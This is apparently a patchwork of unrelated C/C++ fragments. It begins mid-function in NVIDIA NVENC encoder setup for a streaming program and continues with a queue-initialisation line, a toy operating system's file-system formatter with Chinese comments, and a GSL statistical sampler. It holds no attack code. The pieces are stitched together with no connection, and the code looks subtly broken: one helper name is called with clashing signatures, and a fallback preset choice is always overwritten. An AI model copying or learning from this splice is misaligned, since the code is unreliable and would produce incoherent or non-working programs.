else if (presetString == TEXT("High Quality Low Latency (2pass)"))
{
encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;
is2PassRC = true;
}
else if (presetString == TEXT("Low Latency"))
{
encoderPreset = NV_ENC_PRESET_LOW_LATENCY_DEFAULT_GUID;
}
else if (presetString == TEXT("High Performance Low Latency"))
{
encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HP_GUID;
}
else if (presetString == TEXT("High Quality Low Latency"))
{
encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;
}
else if (presetString == TEXT("Lossless"))
{
encoderPreset = NV_ENC_PRESET_LOSSLESS_DEFAULT_GUID;
dontTouchConfig = true;
}
else if (presetString == TEXT("High Performance Lossless"))
{
encoderPreset = NV_ENC_PRESET_LOSSLESS_HP_GUID;
dontTouchConfig = true;
}
else if (presetString == TEXT("NVDefault"))
{
encoderPreset = NV_ENC_PRESET_DEFAULT_GUID;
}
else if (presetString == TEXT("Streaming"))
{
encoderPreset = NV_ENC_PRESET_STREAMING;
clientKey = NV_ENC_KEY_STREAMING;
}
else if (presetString == TEXT("Streaming (2pass)"))
{
encoderPreset = NV_ENC_PRESET_STREAMING;
is2PassRC = true;
clientKey = NV_ENC_KEY_STREAMING;
}
else
{
if (height > 1080 || (height == 1080 && fps > 30))
{
encoderPreset = NV_ENC_PRESET_HQ_GUID;
}
if (height > 720 || (height == 720 && fps > 30))
{
encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;
}
else
{
encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;
is2PassRC = true;
}
}
TCHAR envClientKey[128] = {0};
DWORD envRes = GetEnvironmentVariable(TEXT("NVENC_KEY"), envClientKey, 128);
if (envRes > 0 && envRes <= 128)
{
if (stringToGuid(envClientKey, &clientKey))
{
NvLog(TEXT("Got NVENC key from environment"));
}
else
{
NvLog(TEXT("NVENC_KEY environment variable has invalid format"));
}
}
mset(&initEncodeParams, 0, sizeof(NV_ENC_INITIALIZE_PARAMS));
mset(&encodeConfig, 0, sizeof(NV_ENC_CONFIG));
encodeConfig.version = NV_ENC_CONFIG_VER;
presetConfig.version = NV_ENC_PRESET_CONFIG_VER;
presetConfig.presetCfg.version = NV_ENC_CONFIG_VER;
initEncodeParams.version = NV_ENC_INITIALIZE_PARAMS_VER;
stEncodeSessionParams.version = NV_ENC_OPEN_ENCODE_SESSION_EX_PARAMS_VER;
stEncodeSessionParams.apiVersion = NVENCAPI_VERSION;
stEncodeSessionParams.clientKeyPtr = &clientKey;
cuContext = 0;
checkCudaErrors(cuCtxCreate(&cuContext, 0, pNvencDevices[iNvencUseDeviceID]));
checkCudaErrors(cuCtxPopCurrent(&cuContextCurr));
stEncodeSessionParams.device = (void*)cuContext;
stEncodeSessionParams.deviceType = NV_ENC_DEVICE_TYPE_CUDA;
nvStatus = pNvEnc->nvEncOpenEncodeSessionEx(&stEncodeSessionParams, &encoder);
if (nvStatus != NV_ENC_SUCCESS)
{
encoder = 0;
OBSMessageBox(NULL,
Str("Encoder.NVENC.OldDriver"),
NULL,
MB_OK | MB_ICONERROR);
NvLog(TEXT("nvEncOpenEncodeSessionEx failed with 0x%x - outdated driver?"), nvStatus);
goto error;
}
if (!populateEncodePresetGUIDs())
goto error;
if (!checkPresetSupport(encoderPreset))
{
NvLog(TEXT("Preset is not supported!"));
goto error;
}
nvStatus = pNvEnc->nvEncGetEncodePresetConfig(encoder, NV_ENC_CODEC_H264_GUID, encoderPreset, &presetConfig);
if (nvStatus != NV_ENC_SUCCESS)
{
NvLog(TEXT("nvEncGetEncodePresetConfig failed with 0x%x"), nvStatus);
goto error;
}
initEncodeParams.encodeGUID = NV_ENC_CODEC_H264_GUID;
initEncodeParams.encodeHeight = height;
initEncodeParams.encodeWidth = width;
initEncodeParams.darHeight = height;
initEncodeParams.darWidth = width;
initEncodeParams.frameRateNum = fps;
initEncodeParams.frameRateDen = 1;
initEncodeParams.enableEncodeAsync = 0;
initEncodeParams.enablePTD = 1;
initEncodeParams.presetGUID = encoderPreset;
initEncodeParams.encodeConfig = &encodeConfig;
memcpy(&encodeConfig, &presetConfig.presetCfg, sizeof(NV_ENC_CONFIG));
encodeConfig.version = NV_ENC_CONFIG_VER;
if (!dontTouchConfig)
{
if (keyint != 0)
encodeConfig.gopLength = keyint * fps;
if (maxBitRate != -1)
{
encodeConfig.rcParams.averageBitRate = maxBitRate * 1000;
encodeConfig.rcParams.maxBitRate = maxBitRate * 1000;
}
if (bufferSize != -1)
{
encodeConfig.rcParams.vbvBufferSize = bufferSize * 1000;
encodeConfig.rcParams.vbvInitialDelay = bufferSize * 1000;
}
if (bUseCBR)
{
auto filler = AppConfig->GetInt(TEXT("Video Encoding"), TEXT("PadCBR"), 1) != 0;
if (is2PassRC)
{
encodeConfig.rcParams.rateControlMode = filler ? NV_ENC_PARAMS_RC_2_PASS_FRAMESIZE_CAP : NV_ENC_PARAMS_RC_2_PASS_VBR;
}
else
{
encodeConfig.rcParams.rateControlMode = filler ? NV_ENC_PARAMS_RC_CBR : NV_ENC_PARAMS_RC_VBR;
}
encodeConfig.frameIntervalP = 1;
encodeConfig.encodeCodecConfig.h264Config.adaptiveTransformMode = NV_ENC_H264_ADAPTIVE_TRANSFORM_ENABLE;
encodeConfig.encodeCodecConfig.h264Config.fmoMode = NV_ENC_H264_FMO_DISABLE;
}
else
{
encodeConfig.rcParams.rateControlMode = NV_ENC_PARAMS_RC_VBR_MINQP;
encodeConfig.rcParams.enableMinQP = 1;
encodeConfig.rcParams.minQP.qpInterB = 32 - quality;
encodeConfig.rcParams.minQP.qpInterP = 32 - quality;
encodeConfig.rcParams.minQP.qpIntra = 32 - quality;
encodeConfig.frameIntervalP = 3;
}
encodeConfig.encodeCodecConfig.h264Config.outputBufferingPeriodSEI = 1;
encodeConfig.encodeCodecConfig.h264Config.outputPictureTimingSEI = 1;
encodeConfig.encodeCodecConfig.h264Config.disableSPSPPS = 1;
encodeConfig.encodeCodecConfig.h264Config.enableVFR = bUseCFR ? 0 : 1;
encodeConfig.frameFieldMode = NV_ENC_PARAMS_FRAME_FIELD_MODE_FRAME;
if(profileString.CompareI(TEXT("main")))
encodeConfig.profileGUID = NV_ENC_H264_PROFILE_MAIN_GUID;
else if(profileString.CompareI(TEXT("high")))
encodeConfig.profileGUID = NV_ENC_H264_PROFILE_HIGH_GUID;
encodeConfig.encodeCodecConfig.h264Config.disableSPSPPS = 1;
encodeConfig.encodeCodecConfig.h264Config.bdirectMode = encodeConfig.frameIntervalP > 1 ? NV_ENC_H264_BDIRECT_MODE_TEMPORAL : NV_ENC_H264_BDIRECT_MODE_DISABLE;
encodeConfig.encodeCodecConfig.h264Config.idrPeriod = encodeConfig.gopLength;
encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.videoSignalTypePresentFlag = 1;
encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.colourDescriptionPresentFlag = 1;
encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.colourMatrix = colorDesc.matrix;
encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.videoFullRangeFlag = colorDesc.fullRange;
encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.videoFormat = 5;
encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.colourPrimaries = colorDesc.primaries;
encodeConfig.encodeCodecConfig.h264Config.h264VUIParameters.transferCharacteristics = colorDesc.transfer;
}
nvStatus = pNvEnc->nvEncInitializeEncoder(encoder, &initEncodeParams);
if (nvStatus != NV_ENC_SUCCESS)
{
NvLog(TEXT("nvEncInitializeEncoder failed with 0x%x"), nvStatus);
goto error;
}
for (surfaceCount = 0; surfaceCount < maxSurfaceCount; ++surfaceCount)
{
NV_ENC_CREATE_INPUT_BUFFER allocSurf = { 0 };
allocSurf.version = NV_ENC_CREATE_INPUT_BUFFER_VER;
allocSurf.width = (width + 31) & ~31;
allocSurf.height = (height + 31) & ~31;
allocSurf.memoryHeap = NV_ENC_MEMORY_HEAP_SYSMEM_CACHED;
allocSurf.bufferFmt = NV_ENC_BUFFER_FORMAT_NV12_PL;
nvStatus = pNvEnc->nvEncCreateInputBuffer(encoder, &allocSurf);
if (nvStatus != NV_ENC_SUCCESS)
{
NvLog(TEXT("nvEncCreateInputBuffer #%d failed with 0x%x"), surfaceCount, nvStatus);
goto error;
}
inputSurfaces[surfaceCount].width = allocSurf.width;
inputSurfaces[surfaceCount].height = allocSurf.height;
inputSurfaces[surfaceCount].locked = false;
inputSurfaces[surfaceCount].useCount = 0;
inputSurfaces[surfaceCount].inputSurface = allocSurf.inputBuffer;
NV_ENC_CREATE_BITSTREAM_BUFFER allocOut = { 0 };
allocOut.version = NV_ENC_CREATE_BITSTREAM_BUFFER_VER;
allocOut.size = outBufferSize;
allocOut.memoryHeap = NV_ENC_MEMORY_HEAP_SYSMEM_CACHED;
nvStatus = pNvEnc->nvEncCreateBitstreamBuffer(encoder, &allocOut);
if (nvStatus != NV_ENC_SUCCESS)
{
NvLog(TEXT("Failed allocating bitstream #%d buffer with 0x%x"), surfaceCount, nvStatus);
outputSurfaces[surfaceCount].outputSurface = 0;
surfaceCount += 1;
goto error;
}
outputSurfaces[surfaceCount].outputSurface = allocOut.bitstreamBuffer;
outputSurfaces[surfaceCount].size = allocOut.size;
outputSurfaces[surfaceCount].busy = false;
}
NvLog(TEXT("------------------------------------------"));
NvLog(TEXT("%s"), GetInfoString().Array());
NvLog(TEXT("------------------------------------------"));
alive = true;
return;
error:
alive = false;
for (int i = 0; i < surfaceCount; ++i)
{
pNvEnc->nvEncDestroyInputBuffer(encoder, inputSurfaces[i].inputSurface);
if (outputSurfaces[i].outputSurface != 0)
pNvEnc->nvEncDestroyBitstreamBuffer(encoder, outputSurfaces[i].outputSurface);
}
surfaceCount = 0;
if (encoder)
pNvEnc->nvEncDestroyEncoder(encoder);
encoder = 0;
if (cuContext)
cuCtxDestroy(cuContext);
}
void init (int startx, int starty) {
mset (visit, false);
cost [startx][starty] = 0;
visit [startx][starty] = true;
q.push (make_pair (startx, starty));
}
//--------------------------------------------------------------------------------------------------*/
// 创建文件系统
void fs_make(void)
{
// 超级块
Super_Block sb;
sb.magic = MAGIC; // 魔数
sb.imap_1st_sects = IMAP_1ST_SECTS; // imap第一个扇区号
sb.nr_inodes = NR_INODES; // inodes总数
sb.nr_imap_sects = NR_IMAP_SECTS; // inode-map 占用扇区数
sb.smap_1st_sects = SMAP_1ST_SECTS; // smap第一个扇区号
sb.nr_sects = NR_SECTS; // 扇区总数
sb.nr_smap_sects = NR_SMAP_SECTS; // sector-map占用扇区数
sb.inode_1st_sects = INODE_1ST_SECTS; // inode_array第一个扇区号
sb.inode_size = INODE_SIZE; // inode 大小
sb.inode_per_sect = INODE_PER_SECT; // 每扇区能容纳的inode数
sb.nr_inode_sects = NR_INODE_SECTS; // inode占用扇区数
sb.dat_1st_sect = DAT_1ST_SECT; // 第一个数据扇区号
sb.dir_ent_size = DIR_ENT_SIZE; // dir_entry的大小
sb.dir_ent_inode_off = DIR_ENT_INODE_OFF; // dir_entry结构中inode_nr的偏移
sb.dir_ent_fname_off = DIR_ENT_FNAME_OFF; // dir_entry结构中name的偏移
sb.dir_ent_per_sect = DIR_ENT_PER_SECT; // 每个root扇区能容纳的dir_entry数
sb.root_sects = ROOT_SECTS; // root占用扇区数
sb.root_inode = ROOT_INODE; // root directory 的inode号
sb.inode_isize_off = INODE_ISEZE_OFF; // inode结构中i_size的偏移
sb.inode_start_off = INODE_START_OFF; // inode结构中i_start_sect的偏移
printk("super block lba: %x,sects: %x\n",1,1);
printk("i_node map lba: %x,sects: %x\n",IMAP_1ST_SECTS ,NR_IMAP_SECTS);
printk("sector map lba: %x,sects: %x\n",SMAP_1ST_SECTS ,NR_SMAP_SECTS);
printk("inode_array lba: %x,sects: %x\n",INODE_1ST_SECTS ,NR_INODE_SECTS);
printk("data_root lba: %x,sects: %x\n",DAT_1ST_SECT ,NR_SECTS);
mset(fsbuf,0x11,SECTOR_SIZE * 1);
memcopy(fsbuf,(char*)&sb,SUPER_BLOCK_SIZE);
hd_write(ROOT_DEV,fsbuf,SECTOR_SIZE * 1,1); // 超级块放在第 1 个扇区（从0开始数）
//----------------------------------------------------------
// imap
int i;
for(i = 0;i < NR_IMAP_SECTS;i++)
{
mset(fsbuf,0,SECTOR_SIZE);
if(i == 0)
*fsbuf = 0x1f; // 0：保留，1：root，2-4：tty0-tty2。总共5位
hd_write(ROOT_DEV,fsbuf,SECTOR_SIZE * ( IMAP_1ST_SECTS + i),1);
}
//----------------------------------------------------------
// smap
mset(fsbuf,0,SECTOR_SIZE * NR_SMAP_SECTS);
int j;
for(i = 0 ;i < (ROOT_SECTS + 1) / 8;i++) // 0：保留，此时只有root占用了硬盘扇区 // +1 是因为根目录区从第1扇区开始(从0开始数)
fsbuf[i] = 0xff;
for(j = 0 ;j < (ROOT_SECTS + 1) % 8;j++)
fsbuf[i] |= 1 << j;
hd_write(ROOT_DEV,fsbuf,SECTOR_SIZE * SMAP_1ST_SECTS,NR_SMAP_SECTS);
int ints = (ROOT_SECTS + 1) / 32; // 以4字节为最小单位操作
int bits = (ROOT_SECTS + 1) % 32;
for(i = 0;i < NR_SMAP_SECTS;i++)
{
mset(fsbuf,0,SECTOR_SIZE);
int* p_int = (int*)fsbuf;
for(j = 0;j < SECTOR_SIZE / 4;j++,p_int++) // 以4字节为最小单位操作
{
if(ints > 0)
{
*p_int = 0xffffffff;
ints--;
continue;
}
// ints为0时,程序才能运行到这里
*p_int = 0x00000000;
if(bits > 0)
{
while(bits > 0)
{
bits--;
*p_int |= 1 << bits;
}
}
}
hd_write(ROOT_DEV,fsbuf,SECTOR_SIZE * (SMAP_1ST_SECTS + i),1);
}
//----------------------------------------------------------
// inode_array
DEV_Inode* p_inode = (DEV_Inode*)fsbuf; // 0：保留，1：root，2-4：tty0-tty2。总共5个
mset(fsbuf,0,SECTOR_SIZE);
p_inode++; // 0：保留
p_inode->i_mode = I_MODE_ROOT; // 1:root
p_inode->i_size = SECTOR_SIZE * ROOT_SECTS;
p_inode->i_start_sect = 1;
p_inode->i_nr_sects = ROOT_SECTS;
p_inode++;
for(i = 0 ;i < NR_TTY ;i++,p_inode++) // 2-4:tty
{
p_inode->i_mode = I_MODE_CHAR;
p_inode->i_size = 0;
p_inode->i_start_sect = DEVICE(MAJAR_TTY,i); // 设为tty的设备号
p_inode->i_nr_sects = 0;
}
hd_write(ROOT_DEV,fsbuf,SECTOR_SIZE * INODE_1ST_SECTS,1);
//----------------------------------------------------------
// root(dir_entry) 0:保留，".",tty0-tty2。总共5个
Dir_Entry* p_dir;
for(i = 0;i < ROOT_SECTS;i++) // 其余的清零
{
p_dir = (Dir_Entry*)fsbuf;
for(j = 0;j < DIR_ENT_PER_SECT;j++,p_dir++)
p_dir->inode_nr = 0;
hd_write(ROOT_DEV,fsbuf,SECTOR_SIZE * (DAT_1ST_SECT + 1 + i),1); // +1 是因为根目录区从第1扇区开始(从0开始数)
}
p_dir = (Dir_Entry*)fsbuf;
p_dir++; // 0:保留
p_dir->inode_nr = 1; // 1:"." root
memcopy(p_dir->name,".",2);
p_dir++;
for(i = 0;i < NR_TTY;i++,p_dir++) // tty
{
p_dir->inode_nr = 2 + i;
memcopy(p_dir->name,"tty0",5);
p_dir->name[3] = '0' + i;
}
hd_write(ROOT_DEV,fsbuf,SECTOR_SIZE * (DAT_1ST_SECT + 1),1); // +1 是因为根目录区从第1扇区开始(从0开始数)
}
int DPMHC_xi_smplr(struct str_DPMHC *ptr_DPMHC_data, int i_J, struct str_firm_data *a_firm_data)
{
int j,i;
int i_K = ptr_DPMHC_data->i_K;
int i_n = ptr_DPMHC_data->v_y->size; // is this the same as i_J???
if (i_n != i_J){
fprintf(stderr,"Error in DPMN_xi_smplr(): DPMHC.v_y length does not equal i_J\n");
exit(1);
}
double d_sumT_si;
gsl_vector_int *vi_S = ptr_DPMHC_data->vi_S;
gsl_matrix *m_theta = ptr_DPMHC_data->m_DPtheta;
double d_A = ptr_DPMHC_data->d_A;
double d_mu_si, d_tau_si, d_ei;
double d_mean_j, d_var_j;
double d_xi_j;
int i_Ti;
int i_factors = (a_firm_data[0].v_beta)->size;
gsl_vector *v_ret;
gsl_matrix *m_factors;
gsl_vector *v_betai;
gsl_vector *v_rstar_i;
gsl_matrix *m_Xi;
gsl_matrix_view mv_Xi;
double d_rstar_j;
double d_s2i;
for(j=0;j<i_K;j++){
d_mu_si = mget(m_theta,j,0);
d_tau_si = mget(m_theta,j,2);
d_rstar_j = 0.;
d_sumT_si = 0;
for(i=0;i<i_J;i++){
if( vget_int(vi_S,i) == j ){
d_ei = vget(ptr_DPMHC_data->v_e,i);
m_factors = a_firm_data[i].m_factors;
i_Ti = a_firm_data[i].i_ni;
d_s2i = a_firm_data[i].d_s2;
m_Xi = gsl_matrix_alloc(i_Ti,i_factors);
mv_Xi = gsl_matrix_submatrix(m_factors,0,0,i_Ti,i_factors);
gsl_matrix_memcpy(m_Xi,&mv_Xi.matrix);
v_betai = a_firm_data[i].v_beta;
v_ret = a_firm_data[i].v_ret;
v_rstar_i = gsl_vector_alloc(i_Ti);
gsl_vector_memcpy(v_rstar_i,v_ret);
gsl_blas_dgemv(CblasNoTrans, -1.0, m_Xi, v_betai, 1.0, v_rstar_i);
gsl_vector_add_constant(v_rstar_i, -d_mu_si);
gsl_vector_scale(v_rstar_i, 1./(sqrt(d_tau_si) * d_ei) );
d_rstar_j += sum(v_rstar_i);
d_sumT_si += i_Ti/(d_s2i/(d_tau_si * d_ei * d_ei) );
gsl_matrix_free(m_Xi);
gsl_vector_free(v_rstar_i);
}
}
d_var_j = 1./( 1./(d_A * d_A) + d_sumT_si);
d_mean_j = d_rstar_j * d_var_j;
d_xi_j = d_mean_j + gsl_ran_gaussian_ziggurat(rng, sqrt(d_var_j) );
mset(m_theta, j, 1, d_xi_j);
// printf("%d: eta = %g lambda^2 = %g\n",j, mget(m_theta,j,0), mget(m_theta,j,1) );
}
return 0;
}
